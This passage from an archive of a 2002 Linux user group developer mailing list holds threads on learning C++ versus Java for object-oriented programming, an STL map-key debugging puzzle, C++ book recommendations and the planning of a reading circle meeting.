sacrifice essential liberties for a little=20 order, will lose both and deserve neither. -- Benjamin Franklin=20 History teaches that grave threats to liberty often come in times of urgency, when constitutional rights seem too extravagant to=20 endure. -- Justice Thurgood Marshall, 1989=20 --=-dLSW85Vv9BElUF3GAb+b Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEABECAAYFAjyKl7cACgkQzglPjt52OdT0NwCfWWNGW5KsrnByOU+7zwPhryxS KggAnjdqAf9++u+oQxJEp8TrSkd0J+uk =fO1F -----END PGP SIGNATURE----- --=-dLSW85Vv9BElUF3GAb+b-- From bhu5nji@yahoo.com Sat Mar 9 19:26:16 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA12047 for ; Sat, 9 Mar 2002 19:26:16 -0500 Received: from user-uivf3fg.dsl.mindspring.com ([165.247.141.240] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16jrCB-0007QA-00 for dev@trilug.org; Sat, 09 Mar 2002 19:28:15 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Subject: Re: [Dev] Reading circle Date: Sat, 9 Mar 2002 19:23:18 -0500 X-Mailer: KMail [version 1.3.1] References: <07ba00244150932FE7@mail7.nc.rr.com> <1015715768.14215.320.camel@tigger.house.wayfarer.org> In-Reply-To: <1015715768.14215.320.camel@tigger.house.wayfarer.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I agree with this assessment of C++. I am breaking out of my procedural way of thinking gradually. ONe of the things that I really enjoy about C++ is that it accomdates my rutted procedural logical thoughts while I adapt to OO and generic programing. Mike M. On Saturday 09 March 2002 06:16 pm, you wrote: > On Sat, 2002-03-09 at 01:52, Tom Bryan wrote: > > P.S. And I still haven't complained that to get any sort of generic > > container in C++, you'll also need to understand templates. Not a bad > > thing, but just one more hurdle to cross before you can effectively write > > OO in C++. > > And it's a good thing you didn't complain about it, because generics > are not OO. > > That C++ is hard to learn is a common misconception. The main > problem is that those teaching it tend to treat it as C with > classes when it should be thought of as a separate, distinct > entity. Take for example, a comment by Bjarne Stoustrup: > (found at http://slashdot.org/interviews/00/02/25/1034222.shtml) > > I think the main problem is educational. Many simply have > seriously inaccurate ideas of what C++ is and what can be > done with it. Often "inaccurate ideas" add up to a strong > disincentive to learn. > > Also take a look at a paper called "Learning Standard C++ as > a New Language." (also by Stroustrup and found at > http://www.research.att.com/~bs/new_learning.pdf ) > This paper gives detailed examples of why C++ shouldn't > be taught as a superset of C. > > C++ is pretty much unlike any language out there. It's not a pure > object oriented langauge. It's not a procedural language like > C. It's not a functional language like lisp or ML. It *does*, > however, have aspects from all of these languages. > There's actually a book that talks a lot about this. It's called > "Multi-Paradigm Design for C++" > > http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0201824671&vm=c > > From the summary: > > C++ is a programming language that supports multiple paradigms: > classes, overloaded functions, templates, modules, procedural > programming, and more. Despite the language's flexibility and > richness, however, there has previously been little effort to create > a design method that supports the use of multiple paradigms within a > single application. > > I might suggest this as a follow on book for the reading circle, > but feel free to ignore my suggestions, since I probably can't come... > > The point is, however, that C++ is a fairly misunderstood language. > It supports more than just OO and to use it effectively you really > should learn it on its own merits, not as a superset of C, or as > an OO language, but as C++. C++ is a powerful language, much more > so than any other language out there right now. Unfortunately, > most people don't understand it well enough to make good use of > it. In my opinion, that's not necessarily a problem with the > language but rather a problem with education. > > Tanner From tbryan@python.net Sat Mar 9 19:28:32 2002 Received: from mail8.nc.rr.com (fe8.southeast.rr.com [24.93.67.55]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id TAA12071 for ; Sat, 9 Mar 2002 19:28:32 -0500 Received: from there ([66.26.93.115]) by mail8.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 9 Mar 2002 19:30:31 -0500 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] Reading circle Date: Sat, 9 Mar 2002 20:47:39 +0500 X-Mailer: KMail [version 1.3.1] References: <07ba00244150932FE7@mail7.nc.rr.com> <1015715768.14215.320.camel@tigger.house.wayfarer.org> In-Reply-To: <1015715768.14215.320.camel@tigger.house.wayfarer.org> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0de933130000a32FE8@mail8.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Sunday 10 March 2002 04:16 am, Tanner Lovelace wrote: > On Sat, 2002-03-09 at 01:52, Tom Bryan wrote: > > P.S. And I still haven't complained that to get any sort of generic > > container in C++, you'll also need to understand templates. Not a bad > > thing, but just one more hurdle to cross before you can effectively write > > OO in C++. > > And it's a good thing you didn't complain about it, because generics > are not OO. No, but it's difficult to write a Java application without eventually using a Collection, and it's difficult to write a C++ application without eventually using a vector, map, or some other templatized class. With Java, I'm still in the OO world when I do that. With C++, I also need to learn templates well enough to use them. > That C++ is hard to learn is a common misconception. I'm not sure that I said that C++ is hard to learn. I just think that it can be harder to learn OO using C++ as a language. That is, if one already knows C, then it can be difficult to escape old C habits when using C++. If one doesn't know C, then C++ is probably a more difficult language to learn than Java or Python, for example. > C++ is pretty much unlike any language out there. It's not a pure > object oriented langauge. Right. I appreciate what C++ is, but if one's focus is "I want to learn about OO programming," then all of these paradigms supported by C++ can make focusing on OO difficult. Not that OO design is some sort of Holy Grail of programming, but it is significant and important in many areas these days. If someone came to me and said, "I know Fortran, C, and assembler, and I'd like to teach myself OO. What do you suggest?" I would honestly recommend learning Java or Python. The language itself (grammar, etc.) is pretty small and easy to learn. The libraries both have an OO focus, and programming using OO techniques is easy and well-supported by both languages. > The point is, however, that C++ is a fairly misunderstood language. > It supports more than just OO and to use it effectively you really > should learn it on its own merits, not as a superset of C, or as > an OO language, but as C++. C++ is a powerful language, much more > so than any other language out there right now. If I grant you that, then I would probably still recommend that someone take a detour into a language like Java where it's easy and natural to focus on OO. Once the developer has an OO mindset, then the OO part of C++ will be much easier to learn. > Unfortunately, most people don't understand it well enough to make > good use of it. In my opinion, that's not necessarily a problem with the > language but rather a problem with education. That was part of my point: "most people don't understand it well enough to make good use of it." Given that, it seems like a poor choice to use as an implementation language while teaching yourself OO. It is also difficult to make a business case to use C++ if most people who know the language won't be able to make good use of it. Then again, one could probably make the same argument about most languages. :) trying-hard-not-to-start-a-language-war-ly y'rs, ---Tom From mindcrime@cpphacker.co.uk Sat Mar 9 23:02:01 2002 Received: from server660.peel3.com ([209.41.202.32]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA13906 for ; Sat, 9 Mar 2002 23:02:01 -0500 Received: from rdu162-231-192.nc.rr.com ([24.162.231.192] helo=calliope) by server660.peel3.com with smtp (Exim 3.34 #1) id 16juYs-0006ov-00 for dev@trilug.org; Sat, 09 Mar 2002 23:03:54 -0500 Message-ID: <014501c1c7e7$c1f02c40$de01a8c0@calliope> From: "Phillip Rhodes" To: Date: Sat, 9 Mar 2002 22:57:54 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0142_01C1C7BD.D8BCE910" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server660.peel3.com X-AntiAbuse: Original Domain - trilug.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [0 0] X-AntiAbuse: Sender Address Domain - cpphacker.co.uk Subject: [Dev] Test, please ignore Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: This is a multi-part message in MIME format. ------=_NextPart_000_0142_01C1C7BD.D8BCE910 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ignore, testing e-mail filtering rules... ------=_NextPart_000_0142_01C1C7BD.D8BCE910 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
ignore, testing e-mail filtering=20 rules...
------=_NextPart_000_0142_01C1C7BD.D8BCE910-- From bhu5nji@yahoo.com Tue Mar 12 01:07:01 2002 Received: from smtp10.atl.mindspring.net (smtp10.atl.mindspring.net [207.69.200.246]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id BAA02729 for ; Tue, 12 Mar 2002 01:07:01 -0500 Received: from user-uivf3gt.dsl.mindspring.com ([165.247.142.29] helo=there) by smtp10.atl.mindspring.net with smtp (Exim 3.33 #1) id 16kfT0-0000r8-00 for dev@trilug.org; Tue, 12 Mar 2002 01:08:58 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Tue, 12 Mar 2002 01:03:46 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] An STL challenge Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Can you find out why the following code executes the "fatal" line below? Even though the program segments are incomplete, there is enough information supplied to locate the the reason. Enjoy. Here are the declarations....... // Route Availability Table declarations typedef struct { uint8_t pf PACKED; uint8_t cls PACKED; uint8_t b1 PACKED; uint8_t b2 PACKED; } t_rtAvail_key_components; typedef struct { union { t_rtAvail_key_components key_components; uint32_t key; } u_rtAvail_key; } t_rtAvail_key; typedef struct { e_yes_no ls_available[MAX_LINKS_IN_MTP3_LINKSET]; } t_rtAvailable_entry; typedef map t_routeAvailableTable; ------------------------------------------------------------------------------------------------- here's where the map is loaded...... // make a Route Availability Table entry for this // combination of PF + CLS if one has not been made already t_rtAvail_key rtAvail_key; // make key rtAvail_key.u_rtAvail_key.key_components.pf = pf; rtAvail_key.u_rtAvail_key.key_components.cls = cls; // try to find this key in the table if (routeAvailTable.find(rtAvail_key.u_rtAvail_key.key) == routeAvailTable.end()) { t_rtAvailable_entry rtAvail_entry; rtAvail_entry.ls_available[0] = NO; rtAvail_entry.ls_available[1] = NO; routeAvailTable[rtAvail_key.u_rtAvail_key.key] = rtAvail_entry; } ------------------------------------------------------------------------------------------------- here's where the map is used..... t_rtAvail_key rtAvail_key; // make key rtAvail_key.u_rtAvail_key.key_components.pf = PF_MTP3; rtAvail_key.u_rtAvail_key.key_components.cls = p_pdimb->mhdr.src.cls; // try to find this key in the table t_routeAvailableTable::iterator ra_i; ra_i = routeAvailTable.find(rtAvail_key.u_rtAvail_key.key); if (ra_i == routeAvailTable.end()) { fatal ( "processMsgFromMtp3:PATH_AVAILBLE/UNAVAILABLE", "Route not in table", 0); } else (* ra_i).second.ls_available[p_pdimb->mhdr.src.ls] = p_pdimb->mhdr.f_id == PATH_AVAILABLE ? YES : NO; } -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From justin@eCotton.com Wed Mar 13 15:57:57 2002 Received: from ecotton.com ([63.170.233.100]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA15926 for ; Wed, 13 Mar 2002 15:57:57 -0500 Received: from JUSTIN [66.26.243.100] by ecotton.com with ESMTP (SMTPD32-7.04) id ADD7DC00024; Wed, 13 Mar 2002 16:00:07 -0500 From: "Justin Johnson" To: "TRILUG_DEV \(E-mail\)" Date: Wed, 13 Mar 2002 15:59:57 -0500 Message-ID: <000501c1cad2$092f6b10$7201a8c0@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Is it just me, or... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: is the Mandrake 8.1 install sloooowwwwww? I'm installing 'drake on a Dell Cpi D300XT with 64 mb ram, and it is taking forever. I had RHL 7.x on here, and I don't recall it taking anywhere near as long for the install to complete. That and I am on the second go around as the keyboard became non responsive right at the part where I enter the root password. You know, AFTER the packages have all installed (ever so slooowwwly). Thanks god I have a KVM so I can still get some work done. Actually wondering if that may have something to do with the keyboard disappearing... Sorry, just had to vent a little ;-) Justin From justin@eCotton.com Wed Mar 13 16:00:02 2002 Received: from ecotton.com ([204.118.220.90]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA16038 for ; Wed, 13 Mar 2002 16:00:02 -0500 Received: from JUSTIN [66.26.243.100] by ecotton.com with ESMTP (SMTPD32-7.04) id AE55DC90024; Wed, 13 Mar 2002 16:02:13 -0500 From: "Justin Johnson" To: "TRILUG_DEV \(E-mail\)" Date: Wed, 13 Mar 2002 16:02:03 -0500 Message-ID: <000701c1cad2$53e34230$7201a8c0@JUSTIN> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Subject: [Dev] Re: Is it just me, or... Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Whoops, wrong list. Sorry folks... From bhu5nji@yahoo.com Mon Mar 18 23:17:38 2002 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA01036 for ; Mon, 18 Mar 2002 23:17:38 -0500 Received: from user-uivf3gt.dsl.mindspring.com ([165.247.142.29] helo=there) by granger.mail.mindspring.net with smtp (Exim 3.33 #1) id 16nB5t-0005wQ-00 for dev@trilug.org; Mon, 18 Mar 2002 23:19:29 -0500 Content-Type: text/plain; charset="iso-8859-15" From: "M. Mueller (bhu5nji)" To: dev@trilug.org Date: Mon, 18 Mar 2002 23:13:31 -0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Subject: [Dev] C++ book recommendations Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Any recommendations on C++ books? Something that describes the gears and pulleys as well as the function. I have Stroustroup from way back when. I was working with a base class last Friday that had no virtual destructor. It wasn't a problem until I added some private data items to the derived class. Then the compiler started complaining. I searched the web and gained a rudimentary understanding of the problem and I found a solution to the problem. Now I want to have a solid understanding of that problem and solution. -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo From brent@mutt.rcfile.org Tue Mar 19 09:15:37 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA04835 for ; Tue, 19 Mar 2002 09:15:37 -0500 Received: from mutt.rcfile.org (root@rdu57-226-247.nc.rr.com [66.57.226.247]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g2JEHVJ09993 for ; Tue, 19 Mar 2002 09:17:31 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g2JEHZe35416 for dev@trilug.org; Tue, 19 Mar 2002 09:17:35 -0500 (EST) (envelope-from brent) Date: Tue, 19 Mar 2002 09:17:35 -0500 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] C++ book recommendations Message-ID: <20020319141735.GA35207@rcfile.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.28i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #20: Thu Mar 14 01:08:34 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-03-18 23:13] M. Mueller (bhu5nji) said: | Any recommendations on C++ books? Something that describes the gears and | pulleys as well as the function. I have Stroustroup from way back when. The Annotated C++ Reference Manual, Ellis && Stroustrup. This book describes language features in a very concise, if sometimes terse, manner. For discussion on the Standard Library, also get The C++ Standard Library, Josuttis. Of course, these are just the books that _I_ found most helpful, YMMV. cheers. brent -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From johndavi@us.ibm.com Tue Mar 19 09:17:23 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id JAA04870 for ; Tue, 19 Mar 2002 09:17:23 -0500 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id IAA105572 for ; Tue, 19 Mar 2002 08:13:42 -0600 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.00) with ESMTP id g2JEJJ2233134 for ; Tue, 19 Mar 2002 09:19:19 -0500 Importance: Normal Sensitivity: Subject: Re: [Dev] C++ book recommendations To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Tue, 19 Mar 2002 09:19:08 -0500 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 03/19/2002 09:19:19 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello I'm a fan of Bruce Eckel books: Thinking in C++ and C++ inside and out. JD "M. Mueller (bhu5nji)" @trilug.org on 03/18/2002 11:13:31 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: [Dev] C++ book recommendations Any recommendations on C++ books? Something that describes the gears and pulleys as well as the function. I have Stroustroup from way back when. I was working with a base class last Friday that had no virtual destructor. It wasn't a problem until I added some private data items to the derived class. Then the compiler started complaining. I searched the web and gained a rudimentary understanding of the problem and I found a solution to the problem. Now I want to have a solid understanding of that problem and solution. -- Mike M. Support TriLUG. Reply directly for details on how to send a check. No amount is too small. Subscribe to all the TriLUG lists at http://trilug.org/mailman/listinfo _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From john@radiomind.com Tue Mar 19 16:51:33 2002 Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA09189 for ; Tue, 19 Mar 2002 16:51:32 -0500 Received: by marconi.radiomind.com (Postfix, from userid 1000) id 455041B829; Tue, 19 Mar 2002 16:53:25 -0500 (EST) Date: Tue, 19 Mar 2002 16:53:25 -0500 To: dev@trilug.org Subject: Re: [Dev] C++ book recommendations Message-ID: <20020319215325.GC21177@radiomind.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.27i X-message-flag: Get yourself a real email client. http://www.mutt.org/ Xyzzy: Nothing happens! Reply-By: Mon, 18 Mar 2002 10:38:49 -0500 From: john@radiomind.com (John Beimler) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: quotation from John F Davis [on 020319 14:57]: > Hello > > I'm a fan of Bruce Eckel books: > > Thinking in C++ > and > C++ inside and out. me too! a note that you can find Thinking in C++ (and a few others) at http://www.bruceeckel.com/. He has the start of a design patterns in python book there I am going to get around to reading real soon now. Peace. john From prhodes@vdsinc.com Tue Mar 19 20:05:31 2002 Received: from mailrtr2.mailzone.edeltacom.com (IDENT:mirapoint@mailrtr2.mailzone.edeltacom.com [207.230.65.80]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id UAA10261 for ; Tue, 19 Mar 2002 20:05:31 -0500 From: prhodes@vdsinc.com Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint) with ESMTP id AIO04819; Tue, 19 Mar 2002 20:07:25 -0500 (EST) Subject: Re: [Dev] C++ book recommendations To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 19 Mar 2002 20:13:44 -0500 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 03/19/2002 08:13:46 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > > I'm a fan of Bruce Eckel books: > > > > Thinking in C++ > me too! a note that you can find Thinking in C++ (and a few others) at > http://www.bruceeckel.com/. He has the start of a design patterns in > python book there I am going to get around to reading real soon now. Consider this another vote for "Thinking In C++." It's the most informative C++ books I've ever read. Also, you might try the "C++ Primer" by Stanley Lippman. Those two will get you a long way with C++, IMHO. TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From tbryan@python.net Wed Mar 20 21:45:01 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id VAA19870 for ; Wed, 20 Mar 2002 21:45:01 -0500 Received: from there ([66.26.93.115]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 20 Mar 2002 21:47:27 -0500 Content-Type: text/plain; charset="iso-8859-15" From: Tom Bryan To: dev@trilug.org Subject: Re: [Dev] C++ book recommendations Date: Tue, 19 Mar 2002 22:09:00 +0500 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <0dafe2747021532FE4@mail4.nc.rr.com> Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 19 March 2002 09:13 am, M. Mueller (bhu5nji) wrote: > Any recommendations on C++ books? Something that describes the gears and > pulleys as well as the function. I have Stroustroup from way back when. I found Lippman's _C++_Primer_ more approachable than Stroustroup when first learning C++. > I was working with a base class last Friday that had no virtual destructor. > It wasn't a problem until I added some private data items to the derived > class. Then the compiler started complaining. I searched the web and > gained a rudimentary understanding of the problem and I found a solution to > the problem. Now I want to have a solid understanding of that problem and > solution. For anyone doing serious work in C++, Meyers's _Effective_C++_ and _More_Effective_C++_ are absolutely essential. The problem you mention here is Item 14 in the first book: Make destructors virtual in base classes. Really, you'll save yourself a lot of time if you buy and read (and reread) Meyers's books...especially if you're a class producer and not a class consumer. That is, you're implementing a C++ library and not simply stringing together other people's components. ---Tom From billvinson@nc.rr.com Fri Mar 22 15:49:42 2002 Received: from Mail6.nc.rr.com (fe6.southeast.rr.com [24.93.67.53]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA02380 for ; Fri, 22 Mar 2002 15:49:41 -0500 Received: from localhost ([66.26.236.160]) by Mail6.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Fri, 22 Mar 2002 15:51:37 -0500 Date: Fri, 22 Mar 2002 15:51:35 -0500 Mime-Version: 1.0 (Apple Message framework v481) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit Message-Id: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> X-Mailer: Apple Mail (2.481) Subject: [Dev] Reading Circle Meeting Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Are we meeting tomorrow? If so, where at? Is it the conference room or the outdoor facility? :) Bill From mmueller@signalnetware.com Fri Mar 22 16:02:28 2002 Received: from blount.mail.mindspring.net (blount.mail.mindspring.net [207.69.200.226]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA02505 for ; Fri, 22 Mar 2002 16:02:28 -0500 Received: from user-2ivf486.dsl.mindspring.com ([165.247.145.6] helo=there) by blount.mail.mindspring.net with smtp (Exim 3.33 #1) id 16oWCr-00047v-00 for dev@trilug.org; Fri, 22 Mar 2002 16:04:13 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller at Signalnetware.com" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] Reading Circle Meeting Date: Fri, 22 Mar 2002 15:57:47 -0500 X-Mailer: KMail [version 1.3.1] References: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> In-Reply-To: <992A93E6-3DD6-11D6-8588-0003938CBDBC@nc.rr.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.8 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Friday 22 March 2002 03:51 pm, you wrote: > Are we meeting tomorrow? > > If so, where at? Is it the conference room or the outdoor facility? :) > > Bill > Too cold for outside facility. B-r-r-r-r. How about a book store with a coffee shop attached? How about a coffe shop with no bookstore attached? -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 Converged network solutions using open source tools From brent@mutt.rcfile.org Fri Mar 22 16:07:56 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id QAA02547 for ; Fri, 22 Mar 2002 16:07:56 -0500 Received: from mutt.rcfile.org (root@rdu57-226-247.nc.rr.com [66.57.226.247]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g2ML9lJ08720 for ; Fri, 22 Mar 2002 16:09:48 -0500 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: (from brent@localhost) by mutt.rcfile.org (8.11.6/8.11.6) id g2ML9uC25330 for dev@trilug.org; Fri, 22 Mar 2002 16:09:56 -0500 (EST) (envelope-from brent) Date: Fri, 22 Mar 2002 16:09:56 -0500 From: Brent Verner To: 